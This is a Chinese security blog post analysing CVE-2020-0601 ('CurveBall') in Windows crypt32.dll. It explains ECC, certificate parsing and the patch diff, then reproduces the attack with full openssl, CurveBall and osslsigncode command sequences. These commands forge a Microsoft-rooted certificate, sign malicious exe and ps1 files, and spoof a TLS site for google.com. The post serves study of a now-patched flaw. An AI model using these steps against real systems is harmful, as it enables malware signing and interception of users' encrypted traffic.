这篇文章发表于 720 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

近日繁忙,找零碎的时间拼拼凑凑终于写出了这篇文章,部分细节可能存在不严谨的地方,望指点。这个例子能够相当不错地作为一个算法安全而实现过程中出现(逻辑上的)漏洞的例子,尽管公开后其危害性已经微乎其微了,但依然值得探究一番。

2020年1月15日,微软发布了针对CVE-2020-0601的安全补丁,该漏洞是微软在实现椭圆曲线加密(ECC)算法数字证书验证时产生,位于crypt32.dll文件,可被利用于伪造来自可信任来源的签名或证书,并且因其业务特性会衍生出多种攻击向量,具有极高的可利用价值和极大的潜在破坏力,Win10和windows server 2016 & 2019也都在其影响范围内。

漏洞原理

如果用一句话来说,就是攻击者能够自己生成私钥和椭圆曲线参数来产生微软根证书里面的公钥。然而我这次的目的不是为了直接搞个exp,而是想要知道这个攻击为什么能够被实现,于是就有了下面的长篇大论。

Elliptic Curve Cryptography

首先得介绍ECC (Elliptic Curve Cryptography)算法的相关原理。椭圆曲线具有的一些独特的性质使它适合用于加密算法:

  • 椭圆曲线关于x轴对称
  • 任何一条非垂直的线与曲线最多有三个点相交
  • 曲线是光滑的,即曲线的所有点都没有两个或者两个以上的不同的切线

0_4kUFnBnCe0_9p7fJ

点G称为基点,k(k<n)为私有密钥,Pk为公开密钥。其中基点G相当于图中的A,而这里的k为变换次数,Pk相当于图上这个动点最终到达的位置。无穷远点 [公式]是零元,对于椭圆曲线上一点[公式],若存在最小的正整数 [公式],使得 [公式] ,则称n为 [公式] 的阶。若不存在这样的n,我们则称 [公式] 是无限阶的(事实上,对于有限域上的的所有点都是有阶的)。

与RSA和Diffie-Hellman相比,椭圆曲线密码系统更难破解(一般认为160比特的椭圆曲线密钥即可提供与1024比特的RSA密钥相当的安全强度)。该算法能够使用短密钥快速地提供高安全性。

X.509 Certificates

这里主要介绍根证书,直奔其中核心的重点结构。这里的内容和Windows中的Crypto API关联性较大。关于受信任的根证书可以参见微软的官方文章

  • curveball-code-1

  • curveball-code-2

  • 这里特别重要的是SubjectPublicKeyInfo项,它是一个序列,其中包含有关用于公钥的算法的信息,后面实际的公钥。

    curveball-code-3

  • AlgorithmIdentifier结构用于存储公钥和签名算法的信息和参数,它由对象标识符(OID)和可选参数组成,具体取决于由OID(也就是下图中的OBJECT IDENTIFIER)标识的特定算法:

    curveball-code-4

    在公共密钥的上下文中,算法字段可以是许多OID之一,例如rsaEncryption,其OID为1.2.840.113549.1.1.1dsa(1.2.840.10040.4.1)ecPublicKey(1.2.840.10045)。当OID对应于ecPublicKey时,表示公钥基于椭圆曲线密码学。

    在Windows10上,能够通过certutil -displayEccCurve命令来查找所有关于椭圆曲线的参数,我们可以发现Windows已经内置了不少椭圆曲线,也就能够指定OID进行调用,更多内容可以参见 https://docs.microsoft.com/en-us/windows/win32/seccng/cng-named-elliptic-curves

  • 然而我们也能够自定义椭圆曲线的参数。

    curveball-code-5

    详情参阅 https://tools.ietf.org/html/rfc3279 中的ECDSA and ECDH Keys部分。

    curveball-code-6

这意味着攻击者有机会通过提供ecParameters中显式定义曲线参数(而不是使用已经命名好了的曲线的特制证书)来定义椭圆曲线。在正常的标准椭圆曲线算法中,基点G并不是随意指定的,而是有固定的值(标准的作用,便是对基点G等参数的选择做出规定),如果对参数不加验证,使得用户可以自定义传入的基点G的值(作为函数的参数),上面的私钥k=1的特殊解即可成立(也就是G=Pk)。

Certificate Validation in CryptoAPI

这里解释CryptoAPI如何处理证书。不妨对powershell的Invoke-Webrequest cmdlet稍微进行些了解。

1
2
3
PS C:\Users\user> (Get-Command Invoke-Webrequest).DLL
C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsof
t.PowerShell.Commands.Utility.dll

然后使用dnSpy进行分析(当然powershell源码是公开的,也可以直接找找看)。打开这个dll文件之后找到Microsoft.PowerShell.Commands->WebRequestPSCmdlet,然后尝试观察它对证书的调用。

能找到X509Certificate这样的位于System.dll里的X509CertificateCollection。这里面的函数多与证书的获取、丢弃等等操作相关。

捕获6

也能顺藤摸瓜找到mscorlib.dll中的X509Certificate,其中的内容和之前提到的证书结构息息相关。

捕获5

稍微观察一下代码逻辑就能知道,当使用Invoke-Webrequest命令来访问TLS加密的网站的时候,我们可以非常肯定地说它将相关的证书都存放在了本地(可能是在内存中),Powershell加载后,到含有可信证书的系统证书库的handler会通过调用CertOpenStore来获取,所以存储会在必要的时间使用。然后,这些证书库会加入到collection中,collection就像一个大的合并证书库一样。

捕获7

当使用像Invoke-Webrequest这样的命令,通过TLS向服务器发送HTTP请求时,服务器将发出TLS证书握手消息,其中包含最终证书以及可能用于验证证书链的其他证书。在收到这些证书后,将创建一个额外的“内存中”存储,并额外调用CertOpenStore()。随后,通过函数CertAddEncodedCertificateToStore()将接收到的证书添加到这个新的存储中,该函数将创建一个CERT_CONTEXT结构,该结构包含证书存储的句柄、指向原始编码证书的指针以及指向一个CERT_INFO结构(该结构基本对应于证书的ASN.1结构)的指针。

看了这句话是不是非常迷糊?最好使用windbg(不建议用preview版本)来简单看一下C:\Windows\System32\combase.dll(这里在分析前最好先加载调试符号,可参考后面参考文献中给出的加载调试符号的文章),里面有CERT_CONTEXTCERT_INFO结构,和之前的内容相互对应。

捕获9

有条件的可以借助参考文献对powershell或者其他程序进行调试,我太菜了,不会(变强了再补x

crypt32.dll

这里的dll分析的是打上补丁之后的dll文件。这里要先加载调试符号,不然就会得到一堆sub_*函数,可参考后面参考文献中给出的加载调试符号的文章。

另外,需要去下载 https://www.azdll.net/files/crypt32-dll 其中的10.0.18362.476版本,这个没有修复漏洞;然后再去下载 https://www.dll-files.com/crypt32.dll.html10.0.18362.592版本(或者找找自己的C:\Windows\System32\crypt32.dll)。注意64位和32位要保持一致,不然后面的分析会出现奇怪的问题。由于BinDiff6.0一直跑不出结果,我这里使用了diaphora来对两者进行对比——可以看到只有四个函数进行了一定的修改,其中ChainGetSubjectStatus函数的改动较大。

捕获8

开始结合复现的文章进行手动对比了。首先对更新后的dll文件进行观察,由于它增加了将CVE-2020-0601攻击写入日志的功能,故这里看到CveEventWrite就非常敏感。

捕获1

相较而言,原先的dll文件就找不到这个函数。接着我们尝试搜索在何处对CveEventWrite所在的函数进行了调用,能够看到CveEventWrite所在的函数是ChainLogMSRC54294Error

捕获3

下一步搜索得到的结果,发现对ChainLogMSRC54294Error函数的调用在ChainGetSubjectStatus函数中。

捕获4

以上这张截图结合之前两者对比分析的结果能够发现,这里就是官方主要修改的地方之一。可以看到,有两个地方调用了其他的函数,进一步对比两程序发现,ChainComparePublicKeyParametersAndBytes是新增的函数——这是一个比较公钥和算法参数的函数,如果比较的时候发现攻击的话,CryptVerifyCertificateSignatureEx就会提供对应的解决办法,而ChainLogMSRC54294Error就会记录攻击。

既然ChainGetSubjectStatus函数中进行了改进,那原先的漏洞在哪里呢?也就在ChainGetSubjectStatus里面。观察原本没加补丁的该函数。

curveball-analysis-12

也就是没有检查椭圆参数。

(省略了大量的内容,因为我不会55555)

因此有漏洞的crypt32.dll文件就是这样:原先的函数未加参数验证,参与计算的基点G的内容由被验证的证书随意指定,使未授权的证书能够构建私钥k=1的特殊解来成功通过椭圆加密算法的签名验证。

  • 最终的自签名证书会被恶意制作的根证书和任意椭圆加密参数验证;
  • 恶意制作的根证书会再次被椭圆加密参数验证为自签名证书;
  • 通过使用公钥的哈希值,在系统证书存储区中找到了与恶意制作的根证书匹配的证书,而这对于恶意制作的根证书和合法根证书都是相同的;
  • 恶意制作的公钥和合法根证书中的公钥的hash值被检查,一旦配对上,便不会有更进一步的检测。

捕获

exploit过程复现

crypt32.dll中,CertGetCertificateChain函数是来确定是否将X.509证书跟踪到受信任的根CA的。对之前原理的阐述更进一步地细说下,最终用于欺骗的证书需要通过那个本地能够跑出微软公钥的私钥和椭圆参数来进行签名,然后将最终用于欺骗的证书再对exe,dll,ps1等文件进行签名,最终通过证书链来完成欺骗。

攻击者可能在易受攻击的Windows系统上欺骗有效的X.509证书链,甚至可能做到拦截和修改TLS加密的通信或欺骗Authenticode签名。主要的攻击有签名的文件和电子邮件、签名可执行代码等、HTTPS连接。

对恶意exe文件进行签名

这里大致梳理一下操作流程。第一步导出victim上的ECC根证书。

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Users\ucasz\Desktop> dir cert:\localmachine\root | Where-Object { $_.FriendlyName -like "*ECC*" }                                                                                                                     

PSParentPath:Microsoft.PowerShell.Security\Certificate::localmachine\root

Thumbprint Subject
---------- -------
31F9FC8BA3805986B721EA7295C65B3A44534274 CN=Microsoft ECC TS Root Certificate Authority 2018, O=Microsoft Corporati...
06F1AA330B927B753A40E68CDF22E34BCBEF3352 CN=Microsoft ECC Product Root Certificate Authority 2018, O=Microsoft Corp...

PS C:\Users\ucasz\Desktop> cmd Microsoft Windows [版本 10.0.18362.239]
(c) 2019 Microsoft Corporation。保留所有权利。

C:\Users\ucasz\Desktop>certmgr.msc #打开证书管理程序

然后找到受信任的根证书颁发机构,随便导出一个ECC根证书(我以base64格式导出了第二个)为public.cer。然后转移相关文件至attacker。

这里使用 https://github.com/ollypwn/CurveBall 的工具来利用获取到的微软公钥生成恶意的私钥和对应的椭圆曲线参数。执行如下命令:

友情提示:cer是Windows的证书格式,crt是Linux中的证书格式,csr是证书签名请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
### 利用公钥信息在本地做一个CA
openssl x509 -in public.cer -text -noout #可以看到相关信息,这里注意到NIST CURVE: P-384;另外,pub处开头的04说明后面的一堆数字是G的坐标
ruby main.rb public.cer #生成了一个spoofed_ca.key
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt #利用提取出来的微软公钥生成一份Linux下的公钥证书,这时相当于我们本地有了一个伪CA

### 使用本地CA对自己的私钥签名
openssl ecparam -name secp384r1 -genkey -noout -out cert.key #生成一份用来签名的密钥
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs #需要对自己生成的cert进行签名,生成一份证书签名请求
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -extfile openssl_cs.conf -extensions v3_cs #利用本地的伪CA签名,生成伪造的私钥证书
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12 #将证书、其密钥和伪造的CA证书打包到一个PKCS12文件中

### 使用签名后的私钥对exe文件签名
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in pro.exe -out pro-signed.exe

然后将生成了的文件置于打了补丁的windows10环境中,可以发现这个伪造的证书已经被处理了,真正的证书路径也暴露了。。

捕获10

而且这个已经被记录到事件里面了。

捕获11

然而,对于没有打补丁的windows10来说,这个程序看起来比较权威。。

捕获12

当然,这里显示出来的信息能够更有迷惑性,只要修改openssl_cs.conf里面的参数等等即可。另外,对于dll的签名也可参照这部分。

伪造官方的TLS证书

这里和上面的过程类似,但还是将所有流程都过一遍。首先导出微软的公钥证书,当然也可以使用poc作者提供的。

1
2
3
4
5
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls

接下来是将相关的证书导入到网站服务器上。

然后只需要按照作者的方案(我将端口改为了443,所以后面需要sudo),在attacker上安装好npm,然后npm install express,接着sudo node tls/index.js就能相当方便地起一个恶意网站的服务。

接着假装一个中间人攻击的情况,在victim上修改C:\Windows\System32\drivers\etc\hosts文件,将www.google.com解析到恶意ip地址。

非常让人难受的是,目前流行的浏览器大多对此已经有了防御的功能。由于是浏览器的层面就已经对流量进行了拦截,所以即便是crypt32.dll未打补丁也没什么用。。

捕获13

所以只有让过时的IE浏览器来承受了。可见这里的攻击条件相当苛刻。

对恶意ps1文件进行签名(别看,似乎出了问题)

这里和上面的过程类似,但还是将所有流程都过一遍。首先导出微软的公钥证书,当然也可以使用poc作者提供的。

1
2
3
4
5
6
ruby main.rb public.cer
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -extfile openssl_cs.conf -extensions v3_cs
openssl pkcs12 -export -in cert.crt -inkey cert.key -in spoofed_ca.crt -name "Code Signing" -out cert.pfx

将cert.pfx转移到attacker的一个windows10机器上,使用powershell内置函数进行签名。

1
2
3
4
$pfxpath = 'C:\Users\user\Desktop\cert.pfx'
$cert = Get-PfxCertificate -FilePath $pfxpath
$cert
Get-ChildItem -Path c:\Users\user\Desktop\ -Filter *.ps1 | Set-AuthenticodeSignature -Certificate $cert

参考文献

最主要的参考文章:

https://www.trendmicro.com/en_us/research/20/b/an-in-depth-technical-analysis-of-curveball-cve-2020-0601.html

有关加载调试符号的文章:

https://juejin.im/post/6844903989830516749

https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/

apache2设置SSL:

https://www.cnblogs.com/lfri/p/10546668.html

其他:

http://blog.nsfocus.net/cve-2020-0601-windows-cryptoapi%E6%AC%BA%E9%AA%97%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://evi1cg.me/archives/cve_2020_0601.html

https://www.youtube.com/watch?v=8RI60aRyhoE

https://www.anquanke.com/post/id/201228

https://holi4m.github.io/reversing/2020/04/29/CVE20200601-1/

https://cooleleute.live/Curveball.pdf

https://paper.seebug.org/1366/

其他的签名伪造方法:

https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

https://ningyuv.github.io/2020/07/13/elf-sign-verify/

https://bbs.pediy.com/thread-221970.htm

https://blog.mtian.org/2015/06/windowspesign/